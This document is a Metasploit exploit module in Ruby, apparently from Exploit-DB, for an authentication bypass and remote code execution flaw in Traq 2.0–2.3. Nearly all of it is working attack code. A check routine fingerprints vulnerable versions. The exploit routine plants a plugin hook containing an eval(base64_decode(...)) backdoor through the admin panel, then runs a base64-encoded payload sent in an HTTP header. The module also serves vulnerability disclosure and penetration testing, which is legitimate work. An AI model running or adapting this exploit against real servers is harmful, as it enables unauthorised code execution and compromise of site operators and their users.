Traq 2.3 - Authentication Bypass / Remote Code Execution (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit',
			'Description'    => %q{
				This module exploits an arbitrary command execution vulnerability in
				Traq 2.0 to 2.3. It's in the admincp/common.php script.

				This function is called in each script located into /admicp/ directory to
				make sure the user has admin rights, but this is a broken authorization
				schema due to the header() function doesn't stop the execution flow. This
				can be exploited by malicious users to execute admin functionality resulting
				for  e.g.  in execution of arbitrary PHP code leveraging of plugins.php
				functionality.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'EgiX',  # Vulnerability discovery and exploit
					'TecR0c' # Metasploit Module
				],
			'References'     =>
				[
					[ 'URL', 'http://www.exploit-db.com/exploits/18213/' ],
					[ 'URL', 'http://traqproject.org/' ],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Keys'        => ['php'],
					'Space'       => 4000,
					'DisableNops' => true,
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', {} ]],
			'DisclosureDate' => 'Dec 12 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URI', [true, "The path to the Traq installation", "/"]),
			],self.class)
	end

	def check
		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? "admincp/login.php" : "/admincp/login.php"

		res = send_request_raw(
			{
				'uri'=> uri
			}, 25)

		if (res and res.body =~ /Powered by Traq 2.[0-3]/ )
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		p = Rex::Text.encode_base64(payload.encoded)

		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? "admincp/plugins.php?newhook" : "/admincp/plugins.php?newhook"

		res = send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri,
				'vars_post' =>
					{
						'plugin_id' => '1',
						'title' => '1',
						'execorder' => '0',
						'hook' => 'template_footer',
						'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
					}
			}, 25)

		uri = datastore['URI']
		uri += (datastore['URI'][-1, 1] == "/") ? "index.php" : "/index.php"

		res = send_request_cgi(
			{
				'method'  => 'GET',
				'uri'     => uri,
				'headers' =>
					{
						'CMD' => p,
						'Connection' => 'Close',
					},
			}, 25)
	end
end